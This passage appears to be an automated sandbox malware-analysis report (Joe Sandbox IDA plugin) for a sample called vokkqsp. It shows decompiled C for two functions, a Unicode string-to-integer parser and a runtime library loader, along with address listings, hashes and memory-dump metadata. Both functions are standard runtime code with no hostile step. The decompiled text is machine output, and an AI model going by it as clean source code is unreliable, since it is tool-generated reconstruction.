				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				signed int _v152;
				signed int _v156;
				intOrPtr _v160;
				signed short* _v164;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed short* _t177;
				signed int _t179;
				signed short* _t180;
				signed int _t181;
				signed int _t182;
				signed int _t184;
				intOrPtr _t187;
				void* _t188;
				signed char _t190;
				signed int _t191;
				intOrPtr _t193;
				signed int _t194;
				signed int _t198;
				void* _t199;
				signed int _t200;
				signed int _t205;
				signed int _t206;
				intOrPtr _t212;
				signed int _t215;
				intOrPtr* _t217;
				intOrPtr _t218;
				intOrPtr _t220;
				void* _t221;
				signed int* _t225;
				signed int _t227;
				void* _t230;
				signed short* _t231;
				void* _t234;
				signed int _t236;
				signed short* _t240;
				signed int _t241;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed short* _t246;
				void* _t249;
				signed int _t250;
				signed int _t251;

				if(E0041C4A4( &_a8) == 0) {
					L5:
					_t217 = _a12;
					if(_t217 != 0) {
						 *_t217 = _a8;
					}
					L138:
					return 0;
				}
				_t241 = _a16;
				if(_t241 == 0 || _t241 >= 2 && _t241 <= 0x24) {
					_t177 = _a8;
					_t215 = 0;
					_t218 = _a4;
					_v12 = _v12 & 0x00000000;
					_v164 = _t177;
					_t250 =  *_t177 & 0x0000ffff;
					_a8 =  &(_t177[1]);
					__eflags =  *(_t218 + 0x14);
					if( *(_t218 + 0x14) == 0) {
						E0041C290(_t218, _t234);
					}
					while(1) {
						_t179 = E0042D61D(_t218, _t250, 8);
						_pop(_t218);
						__eflags = _t179;
						if(_t179 == 0) {
							break;
						}
						_t180 = _a8;
						_t250 =  *_t180 & 0x0000ffff;
						_t181 =  &(_t180[1]);
						__eflags = _t181;
						_a8 = _t181;
					}
					_t182 = _a20 & 0x000000ff;
					_v8 = _t182;
					__eflags = _t250 - 0x2d;
					if(_t250 != 0x2d) {
						__eflags = _t250 - 0x2b;
						if(_t250 != 0x2b) {
							_t236 = _a8;
							L16:
							_v16 = 0x3a;
							_v148 = 0x660;
							_v20 = 0x66a;
							_v24 = 0x6f0;
							_v28 = 0x6fa;
							_v32 = 0x966;
							_v36 = 0x970;
							_v40 = 0x9e6;
							_v44 = 0x9f0;
							_v48 = 0xa66;
							_v52 = 0xa70;
							_v56 = 0xae6;
							_v60 = 0xaf0;
							_v64 = 0xb66;
							_v68 = 0xb70;
							_v72 = 0xc66;
							_v76 = 0xc70;
							_v80 = 0xce6;
							_v84 = 0xcf0;
							_v88 = 0xd66;
							_v92 = 0xd70;
							_v96 = 0xe50;
							_v100 = 0xe5a;
							_v104 = 0xed0;
							_v108 = 0xeda;
							_v112 = 0xf20;
							_v116 = 0xf2a;
							_v120 = 0x1040;
							_v124 = 0x104a;
							_v128 = 0x17e0;
							_v132 = 0x17ea;
							_v136 = 0x1810;
							_v140 = 0x181a;
							_v144 = 0xff1a;
							_t220 = 0x30;
							__eflags = _t241;
							if(_t241 == 0) {
								L18:
								__eflags = _t250 - _t220;
								if(_t250 < _t220) {
									L58:
									_t184 = _t250 & 0x0000ffff;
									__eflags = _t184 - 0x41;
									if(_t184 < 0x41) {
										L61:
										_t92 = _t184 - 0x61; // 0xfeaf
										_t221 = _t92;
										__eflags = _t221 - 0x19;
										if(_t221 > 0x19) {
											L74:
											__eflags = _t241;
											if(_t241 == 0) {
												_t241 = 0xa;
												_a16 = _t241;
											}
											L76:
											_t185 = _t241;
											asm("cdq");
											_t222 = _t236;
											_v152 = _t241;
											_v16 = _t236;
											_v160 = E0043A380(0xffffffff, 0xffffffff, _t185, _t222);
											_v156 = _t236;
											while(1) {
												_t187 = 0x30;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												_t230 = 0x3a;
												__eflags = _t250 - _t230;
												if(_t250 < _t230) {
													L114:
													_t243 = (_t250 & 0x0000ffff) - _t187;
													__eflags = _t243 - 0xffffffff;
													if(_t243 != 0xffffffff) {
														L123:
														__eflags = _t243 - _a16;
														if(_t243 >= _a16) {
															E0041C07B( &_a8, _t250);
															_t190 = _v8;
															__eflags = _t190 & 0x00000008;
															if((_t190 & 0x00000008) != 0) {
																_t244 = _v12;
																_t191 = E0041D8EB(_t190, _t244, _t215);
																__eflags = _t191;
																if(_t191 == 0) {
																	__eflags = _v8 & 0x00000002;
																	if((_v8 & 0x00000002) != 0) {
																		_t244 =  ~_t244;
																		asm("adc ebx, 0x0");
																		_t215 =  ~_t215;
																	}
																	L151:
																	_t251 = _a12;
																	__eflags = _t251;
																	if(_t251 != 0) {
																		 *_t251 = _a8;
																	}
																	return _t244;
																}
																_t193 = _a4;
																 *((char*)(_t193 + 0x1c)) = 1;
																 *((intOrPtr*)(_t193 + 0x18)) = 0x22;
																_t194 = _v8;
																__eflags = _t194 & 0x00000001;
																if((_t194 & 0x00000001) != 0) {
																	_t225 = _a12;
																	__eflags = _t194 & 0x00000002;
																	if((_t194 & 0x00000002) == 0) {
																		__eflags = _t225;
																		if(_t225 != 0) {
																			_t194 = _a8;
																			 *_t225 = _t194;
																		}
																		return _t194 | 0xffffffff;
																	}
																	__eflags = _t225;
																	if(_t225 != 0) {
																		 *_t225 = _a8;
																	}
																	return 0;
																}
																_t244 = _t244 | 0xffffffff;
																_t215 = _t215 | 0xffffffff;
																goto L151;
															}
															_t198 = _a12;
															__eflags = _t198;
															if(_t198 != 0) {
																 *_t198 = _v164;
															}
															goto L138;
														}
														_t199 = E0043A340(_v152, _v16, _v12, _t215);
														_t245 = _t243 + _t199;
														asm("adc esi, edx");
														__eflags = _t215 - _v156;
														if(__eflags < 0) {
															L128:
															_t227 = 0;
															__eflags = 0;
															L129:
															__eflags = 0 - _t236;
															if(__eflags > 0) {
																L133:
																_t200 = 0;
																__eflags = 0;
																L134:
																_v12 = _t245;
																_t246 = _a8;
																_t215 = 0;
																_v8 = _v8 | (_t200 | _t227) << 0x00000002 | 0x00000008;
																_t250 =  *_t246 & 0x0000ffff;
																_a8 =  &(_t246[1]);
																continue;
															}
															if(__eflags < 0) {
																L132:
																_t200 = 1;
																goto L134;
															}
															__eflags = _t245 - _t199;
															if(_t245 >= _t199) {
																goto L133;
															}
															goto L132;
														}
														if(__eflags > 0) {
															L127:
															_t227 = 1;
															goto L129;
														}
														__eflags = _v12 - _v160;
														if(_v12 <= _v160) {
															goto L128;
														}
														goto L127;
													}
													goto L115;
												}
												_t187 = 0xff10;
												__eflags = _t250 - 0xff10;
												if(_t250 >= 0xff10) {
													__eflags = _t250 - _v144;
													L113:
													if(__eflags >= 0) {
														goto L115;
													}
													goto L114;
												}
												_t187 = _v148;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v20;
												if(_t250 < _v20) {
													goto L114;
												}
												_t187 = _v24;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v28;
												if(_t250 < _v28) {
													goto L114;
												}
												_t187 = _v32;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v36;
												if(_t250 < _v36) {
													goto L114;
												}
												_t187 = _v40;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v44;
												if(_t250 < _v44) {
													goto L114;
												}
												_t187 = _v48;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v52;
												if(_t250 < _v52) {
													goto L114;
												}
												_t187 = _v56;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v60;
												if(_t250 < _v60) {
													goto L114;
												}
												_t187 = _v64;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v68;
												if(_t250 < _v68) {
													goto L114;
												}
												_t187 = _v72;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v76;
												if(_t250 < _v76) {
													goto L114;
												}
												_t187 = _v80;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v84;
												if(_t250 < _v84) {
													goto L114;
												}
												_t187 = _v88;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v92;
												if(_t250 < _v92) {
													goto L114;
												}
												_t187 = _v96;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v100;
												if(_t250 < _v100) {
													goto L114;
												}
												_t187 = _v104;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v108;
												if(_t250 < _v108) {
													goto L114;
												}
												_t187 = _v112;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v116;
												if(_t250 < _v116) {
													goto L114;
												}
												_t187 = _v120;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v124;
												if(_t250 < _v124) {
													goto L114;
												}
												_t187 = _v128;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v132;
												if(_t250 < _v132) {
													goto L114;
												}
												_t187 = _v136;
												__eflags = _t250 - _t187;
												if(_t250 < _t187) {
													goto L115;
												}
												__eflags = _t250 - _v140;
												goto L113;
												L115:
												_t242 = _t250 & 0x0000ffff;
												__eflags = _t242 - 0x41;
												if(_t242 < 0x41) {
													L118:
													_t188 = _t242 - 0x61;
													__eflags = _t188 - 0x19;
													if(_t188 > 0x19) {
														_t243 = _t242 | 0xffffffff;
														__eflags = _t243;
														goto L123;
													}
													L119:
													__eflags = _t188 - 0x19;
													if(_t188 <= 0x19) {
														_t242 = _t242 + 0xffffffe0;
														__eflags = _t242;
													}
													_t243 = _t242 + 0xffffffc9;
													goto L123;
												}
												__eflags = _t242 - 0x5a;
												if(_t242 > 0x5a) {
													goto L118;
												}
												_t188 = _t242 - 0x61;
												goto L119;
											}
										}
										L62:
										__eflags = _t221 - 0x19;
										if(_t221 <= 0x19) {
											_t184 = _t184 + 0xffffffe0;
											__eflags = _t184;
										}
										_t205 = _t184 + 0xffffffc9;
										__eflags = _t205;
										L65:
										__eflags = _t205;
										if(_t205 != 0) {
											goto L74;
										}
										_t206 =  *_t236 & 0x0000ffff;
										_t231 = _t236 + 2;
										_a8 = _t231;
										__eflags = _t206 - 0x78;
										if(_t206 == 0x78) {
											L71:
											__eflags = _t241;
											if(_t241 == 0) {
												_t241 = 0x10;
												_a16 = _t241;
											}
											_t250 =  *_t231 & 0x0000ffff;
											_a8 =  &(_t231[1]);
											goto L76;
										}
										__eflags = _t206 - 0x58;
										if(_t206 == 0x58) {
											goto L71;
										}
										__eflags = _t241;
										if(_t241 == 0) {
											_t241 = 8;
											_a16 = _t241;
										}
										E0041C07B( &_a8, _t206);
										goto L76;
									}
									__eflags = _t184 - 0x5a;
									if(_t184 > 0x5a) {
										goto L61;
									}
									_t91 = _t184 - 0x61; // 0xfeaf
									_t221 = _t91;
									goto L62;
								}
								__eflags = _t250 - _v16;
								if(_t250 >= _v16) {
									__eflags = _t250 - 0xff10;
									if(_t250 >= 0xff10) {
										__eflags = _t250 - _v144;
										if(_t250 >= _v144) {
											goto L58;
										}
										_t205 = (_t250 & 0x0000ffff) - 0xff10;
										__eflags = _t205;
										L57:
										__eflags = _t205 - 0xffffffff;
										if(_t205 != 0xffffffff) {
											goto L65;
										}
										goto L58;
									}
									_t220 = _v148;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v20;
									if(_t250 < _v20) {
										goto L20;
									}
									_t220 = _v24;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v28;
									if(_t250 < _v28) {
										goto L20;
									}
									_t220 = _v32;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v36;
									if(_t250 < _v36) {
										goto L20;
									}
									_t220 = _v40;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v44;
									if(_t250 < _v44) {
										goto L20;
									}
									_t220 = _v48;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v52;
									if(_t250 < _v52) {
										goto L20;
									}
									_t220 = _v56;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v60;
									if(_t250 < _v60) {
										goto L20;
									}
									_t220 = _v64;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v68;
									if(_t250 < _v68) {
										goto L20;
									}
									_t220 = _v72;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v76;
									if(_t250 < _v76) {
										goto L20;
									}
									_t220 = _v80;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v84;
									if(_t250 < _v84) {
										goto L20;
									}
									_t220 = _v88;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v92;
									if(_t250 < _v92) {
										goto L20;
									}
									_t220 = _v96;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v100;
									if(_t250 < _v100) {
										goto L20;
									}
									_t220 = _v104;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v108;
									if(_t250 < _v108) {
										goto L20;
									}
									_t220 = _v112;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v116;
									if(_t250 < _v116) {
										goto L20;
									}
									_t220 = _v120;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v124;
									if(_t250 < _v124) {
										goto L20;
									}
									_t220 = _v128;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v132;
									if(_t250 < _v132) {
										goto L20;
									}
									_t220 = _v136;
									__eflags = _t250 - _t220;
									if(_t250 < _t220) {
										goto L58;
									}
									__eflags = _t250 - _v140;
									if(_t250 >= _v140) {
										goto L58;
									}
								}
								L20:
								_t205 = (_t250 & 0x0000ffff) - _t220;
								goto L57;
							}
							__eflags = _t241 - 0x10;
							if(_t241 != 0x10) {
								goto L76;
							}
							goto L18;
						}
						L14:
						_t240 = _a8;
						_t250 =  *_t240 & 0x0000ffff;
						_t236 =  &(_t240[1]);
						_a8 = _t236;
						goto L16;
					}
					_v8 = _t182 | 0x00000002;
					goto L14;
				} else {
					_t212 = _a4;
					 *((char*)(_t212 + 0x1c)) = 1;
					 *((intOrPtr*)(_t212 + 0x18)) = 0x16;
					E0041F0ED(_t241, _t249, 0, 0, 0, 0, 0, _t212);
					goto L5;
				}
			}

0x0041e478
0x0041e4a9
0x0041e4a9
0x0041e4ae
0x0041e4b7
0x0041e4b7
0x0041ea63
0x00000000
0x0041ea65
0x0041e47a
0x0041e47f
0x0041e4be
0x0041e4c1
0x0041e4c3
0x0041e4c6
0x0041e4ca
0x0041e4d0
0x0041e4d6
0x0041e4d9
0x0041e4dc
0x0041e4de
0x0041e4de
0x0041e4f1
0x0041e4f4
0x0041e4fa
0x0041e4fb
0x0041e4fd
0x00000000
0x00000000
0x0041e4e5
0x0041e4e8
0x0041e4eb
0x0041e4eb
0x0041e4ee
0x0041e4ee
0x0041e4ff
0x0041e503
0x0041e506
0x0041e50a
0x0041e514
0x0041e518
0x0041e528
0x0041e52b
0x0041e52b
0x0041e537
0x0041e541
0x0041e548
0x0041e54f
0x0041e556
0x0041e55d
0x0041e564
0x0041e56b
0x0041e572
0x0041e579
0x0041e580
0x0041e587
0x0041e58e
0x0041e595
0x0041e59c
0x0041e5a3
0x0041e5aa
0x0041e5b1
0x0041e5b8
0x0041e5bf
0x0041e5c6
0x0041e5cd
0x0041e5d4
0x0041e5db
0x0041e5e2
0x0041e5e9
0x0041e5f0
0x0041e5f7
0x0041e5fe
0x0041e605
0x0041e60c
0x0041e616
0x0041e620
0x0041e62c
0x0041e62d
0x0041e62f
0x0041e63a
0x0041e63a
0x0041e63d
0x0041e7b4
0x0041e7b4
0x0041e7b7
0x0041e7ba
0x0041e7c6
0x0041e7c6
0x0041e7c6
0x0041e7c9
0x0041e7cc
0x0041e81a
0x0041e81a
0x0041e81c
0x0041e820
0x0041e821
0x0041e821
0x0041e824
0x0041e824
0x0041e826
0x0041e827
0x0041e829
0x0041e835
0x0041e83d
0x0041e843
0x0041e849
0x0041e84b
0x0041e84c
0x0041e84f
0x00000000
0x00000000
0x0041e857
0x0041e858
0x0041e85b
0x0041e9a5
0x0041e9a8
0x0041e9aa
0x0041e9ad
0x0041e9d9
0x0041e9d9
0x0041e9dc
0x0041ea48
0x0041ea4d
0x0041ea50
0x0041ea52
0x0041ea69
0x0041ea6f
0x0041ea77
0x0041ea79
0x0041eac4
0x0041eac8
0x0041eaca
0x0041eacc
0x0041eacf
0x0041eacf
0x0041ead1
0x0041ead1
0x0041ead4
0x0041ead6
0x0041eadb
0x0041eadb
0x00000000
0x0041eadf
0x0041ea7b
0x0041ea7e
0x0041ea82
0x0041ea89
0x0041ea8c
0x0041ea8e
0x0041ea98
0x0041ea9b
0x0041ea9d
0x0041eab1
0x0041eab3
0x0041eab5
0x0041eab8
0x0041eab8
0x00000000
0x0041eabd
0x0041ea9f
0x0041eaa1
0x0041eaa6
0x0041eaa6
0x00000000
0x0041eaaa
0x0041ea90
0x0041ea93
0x00000000
0x0041ea93
0x0041ea54
0x0041ea57
0x0041ea59
0x0041ea61
0x0041ea61
0x00000000
0x0041ea59
0x0041e9eb
0x0041e9f2
0x0041e9f4
0x0041e9f6
0x0041e9fc
0x0041ea10
0x0041ea10
0x0041ea10
0x0041ea12
0x0041ea12
0x0041ea14
0x0041ea21
0x0041ea21
0x0041ea21
0x0041ea23
0x0041ea25
0x0041ea28
0x0041ea2b
0x0041ea33
0x0041ea36
0x0041ea3c
0x00000000
0x0041ea3c
0x0041ea16
0x0041ea1c
0x0041ea1e
0x00000000
0x0041ea1e
0x0041ea18
0x0041ea1a
0x00000000
0x00000000
0x00000000
0x0041ea1a
0x0041e9fe
0x0041ea0b
0x0041ea0d
0x00000000
0x0041ea0d
0x0041ea06
0x0041ea09
0x00000000
0x00000000
0x00000000
0x0041ea09
0x00000000
0x0041e9ad
0x0041e861
0x0041e866
0x0041e869
0x0041e99c
0x0041e9a3
0x0041e9a3
0x00000000
0x00000000
0x00000000
0x0041e9a3
0x0041e86f
0x0041e875
0x0041e878
0x00000000
0x00000000
0x0041e87e
0x0041e882
0x00000000
0x00000000
0x0041e888
0x0041e88b
0x0041e88e
0x00000000
0x00000000
0x0041e894
0x0041e898
0x00000000
0x00000000
0x0041e89e
0x0041e8a1
0x0041e8a4
0x00000000
0x00000000
0x0041e8aa
0x0041e8ae
0x00000000
0x00000000
0x0041e8b4
0x0041e8b7
0x0041e8ba
0x00000000
0x00000000
0x0041e8c0
0x0041e8c4
0x00000000
0x00000000
0x0041e8ca
0x0041e8cd
0x0041e8d0
0x00000000
0x00000000
0x0041e8d6
0x0041e8da
0x00000000
0x00000000
0x0041e8e0
0x0041e8e3
0x0041e8e6
0x00000000
0x00000000
0x0041e8ec
0x0041e8f0
0x00000000
0x00000000
0x0041e8f6
0x0041e8f9
0x0041e8fc
0x00000000
0x00000000
0x0041e902
0x0041e906
0x00000000
0x00000000
0x0041e90c
0x0041e90f
0x0041e912
0x00000000
0x00000000
0x0041e918
0x0041e91c
0x00000000
0x00000000
0x0041e922
0x0041e925
0x0041e928
0x00000000
0x00000000
0x0041e92e
0x0041e932
0x00000000
0x00000000
0x0041e934
0x0041e937
0x0041e93a
0x00000000
0x00000000
0x0041e93c
0x0041e940
0x00000000
0x00000000
0x0041e942
0x0041e945
0x0041e948
0x00000000
0x00000000
0x0041e94a
0x0041e94e
0x00000000
0x00000000
0x0041e950
0x0041e953
0x0041e956
0x00000000
0x00000000
0x0041e958
0x0041e95c
0x00000000
0x00000000
0x0041e95e
0x0041e961
0x0041e964
0x00000000
0x00000000
0x0041e966
0x0041e96a
0x00000000
0x00000000
0x0041e96c
0x0041e96f
0x0041e972
0x00000000
0x00000000
0x0041e974
0x0041e978
0x00000000
0x00000000
0x0041e97a
0x0041e97d
0x0041e980
0x00000000
0x00000000
0x0041e982
0x0041e986
0x00000000
0x00000000
0x0041e988
0x0041e98e
0x0041e991
0x00000000
0x00000000
0x0041e993
0x00000000
0x0041e9af
0x0041e9af
0x0041e9b2
0x0041e9b5
0x0041e9c1
0x0041e9c1
0x0041e9c4
0x0041e9c7
0x0041e9d6
0x0041e9d6
0x00000000
0x0041e9d6
0x0041e9c9
0x0041e9c9
0x0041e9cc
0x0041e9ce
0x0041e9ce
0x0041e9ce
0x0041e9d1
0x00000000
0x0041e9d1
0x0041e9b7
0x0041e9ba
0x00000000
0x00000000
0x0041e9bc
0x00000000
0x0041e9bc
0x0041e849
0x0041e7ce
0x0041e7ce
0x0041e7d1
0x0041e7d3
0x0041e7d3
0x0041e7d3
0x0041e7d6
0x0041e7d6
0x0041e7d9
0x0041e7d9
0x0041e7db
0x00000000
0x00000000
0x0041e7dd
0x0041e7e0
0x0041e7e3
0x0041e7e6
0x0041e7e9
0x0041e805
0x0041e805
0x0041e807
0x0041e80b
0x0041e80c
0x0041e80c
0x0041e80f
0x0041e815
0x00000000
0x0041e815
0x0041e7eb
0x0041e7ee
0x00000000
0x00000000
0x0041e7f0
0x0041e7f2
0x0041e7f6
0x0041e7f7
0x0041e7f7
0x0041e7fe
0x00000000
0x0041e7fe
0x0041e7bc
0x0041e7bf
0x00000000
0x00000000
0x0041e7c1
0x0041e7c1
0x00000000
0x0041e7c1
0x0041e643
0x0041e647
0x0041e653
0x0041e656
0x0041e79e
0x0041e7a5
0x00000000
0x00000000
0x0041e7aa
0x0041e7aa
0x0041e7af
0x0041e7af
0x0041e7b2
0x00000000
0x00000000
0x00000000
0x0041e7b2
0x0041e65c
0x0041e662
0x0041e665
0x00000000
0x00000000
0x0041e66b
0x0041e66f
0x00000000
0x00000000
0x0041e671
0x0041e674
0x0041e677
0x00000000
0x00000000
0x0041e67d
0x0041e681
0x00000000
0x00000000
0x0041e683
0x0041e686
0x0041e689
0x00000000
0x00000000
0x0041e68f
0x0041e693
0x00000000
0x00000000
0x0041e695
0x0041e698
0x0041e69b
0x00000000
0x00000000
0x0041e6a1
0x0041e6a5
0x00000000
0x00000000
0x0041e6a7
0x0041e6aa
0x0041e6ad
0x00000000
0x00000000
0x0041e6b3
0x0041e6b7
0x00000000
0x00000000
0x0041e6b9
0x0041e6bc
0x0041e6bf
0x00000000
0x00000000
0x0041e6c5
0x0041e6c9
0x00000000
0x00000000
0x0041e6cf
0x0041e6d2
0x0041e6d5
0x00000000
0x00000000
0x0041e6db
0x0041e6df
0x00000000
0x00000000
0x0041e6e5
0x0041e6e8
0x0041e6eb
0x00000000
0x00000000
0x0041e6f1
0x0041e6f5
0x00000000
0x00000000
0x0041e6fb
0x0041e6fe
0x0041e701
0x00000000
0x00000000
0x0041e707
0x0041e70b
0x00000000
0x00000000
0x0041e711
0x0041e714
0x0041e717
0x00000000
0x00000000
0x0041e71d
0x0041e721
0x00000000
0x00000000
0x0041e727
0x0041e72a
0x0041e72d
0x00000000
0x00000000
0x0041e733
0x0041e737
0x00000000
0x00000000
0x0041e73d
0x0041e740
0x0041e743
0x00000000
0x00000000
0x0041e745
0x0041e749
0x00000000
0x00000000
0x0041e74f
0x0041e752
0x0041e755
0x00000000
0x00000000
0x0041e757
0x0041e75b
0x00000000
0x00000000
0x0041e761
0x0041e764
0x0041e767
0x00000000
0x00000000
0x0041e769
0x0041e76d
0x00000000
0x00000000
0x0041e773
0x0041e776
0x0041e779
0x00000000
0x00000000
0x0041e77b
0x0041e77f
0x00000000
0x00000000
0x0041e785
0x0041e78b
0x0041e78e
0x00000000
0x00000000
0x0041e790
0x0041e797
0x00000000
0x00000000
0x0041e799
0x0041e649
0x0041e64c
0x00000000
0x0041e64c
0x0041e631
0x0041e634
0x00000000
0x00000000
0x00000000
0x0041e634
0x0041e51a
0x0041e51a
0x0041e51d
0x0041e520
0x0041e523
0x00000000
0x0041e523
0x0041e50f
0x00000000
0x0041e48b
0x0041e48b
0x0041e48f
0x0041e493
0x0041e4a1
0x00000000
0x0041e4a6

APIs

__aulldiv.LIBCMT ref: 0041E838

Strings

f, xrefs: 0041E556
f, xrefs: 0041E572
:, xrefs: 0041E52B
f, xrefs: 0041E5B8
p, xrefs: 0041E55D
p, xrefs: 0041E579
p, xrefs: 0041E5BF

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: __aulldiv
String ID: :$f$f$f$p$p$p
API String ID: 3732870572-1434680307
Opcode ID: ef6bc2e063b70a0b697afbc1963290eb505d01a5fd187044d4f724639cf4a4df
Instruction ID: 4250cb3ae088cc197ff16e131f620fbe807ad4cc22e0c21334b4a8f2f3e02e6c
Opcode Fuzzy Hash: ef6bc2e063b70a0b697afbc1963290eb505d01a5fd187044d4f724639cf4a4df
Instruction Fuzzy Hash: B0029DBDA00119DADF208FA7D5446EDB7B2FF82B14FA44117D8556B280D7389EC48B1E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A3FD Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042A3FD(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t20;
				void* _t22;
				WCHAR* _t26;
				signed int _t29;
				void** _t30;
				signed int* _t35;
				void* _t38;
				void* _t40;

				_t35 = _a4;
				while(_t35 != _a8) {
					_t29 =  *_t35;
					_v8 = _t29;
					_t38 =  *(0x44cd90 + _t29 * 4);
					if(_t38 == 0) {
						_t26 =  *(0x443718 + _t29 * 4);
						_t38 = LoadLibraryExW(_t26, 0, 0x800);
						if(_t38 != 0) {
							L14:
							_t30 = 0x44cd90 + _v8 * 4;
							 *_t30 = _t38;
							if( *_t30 != 0) {
								FreeLibrary(_t38);
							}
							L16:
							_t20 = _t38;
							L13:
							return _t20;
						}
						_t22 = GetLastError();
						if(_t22 != 0x57) {
							L9:
							 *(0x44cd90 + _v8 * 4) = _t22 | 0xffffffff;
							L10:
							_t35 =  &(_t35[1]);
							continue;
						}
						_t22 = E00428702(_t26, L"api-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = E00428702(_t26, L"ext-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = LoadLibraryExW(_t26, _t38, _t38);
						_t38 = _t22;
						if(_t38 != 0) {
							goto L14;
						}
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						goto L16;
					}
					goto L10;
				}
				_t20 = 0;
				goto L13;
			}

0x0042a406
0x0042a49b
0x0042a40e
0x0042a410
0x0042a41a
0x0042a41f
0x0042a42c
0x0042a441
0x0042a445
0x0042a4ab
0x0042a4b0
0x0042a4b7
0x0042a4bb
0x0042a4be
0x0042a4be
0x0042a4c4
0x0042a4c4
0x0042a4a6
0x0042a4aa
0x0042a4aa
0x0042a447
0x0042a450
0x0042a489
0x0042a496
0x0042a498
0x0042a498
0x00000000
0x0042a498
0x0042a45a
0x0042a45f
0x0042a464
0x00000000
0x00000000
0x0042a46e
0x0042a473
0x0042a478
0x00000000
0x00000000
0x0042a47d
0x0042a483
0x0042a487
0x00000000
0x00000000
0x00000000
0x0042a487
0x0042a424
0x00000000
0x00000000
0x00000000
0x0042a42a
0x0042a4a4
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,0042A50A,?,?,00000000,00000000,00000001,?,0042A8D1,00000021,FlsSetValue,00443FD8,FlsSetValue,00000000), ref: 0042A4BE

Strings

api-ms-, xrefs: 0042A454
ext-ms-, xrefs: 0042A468

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
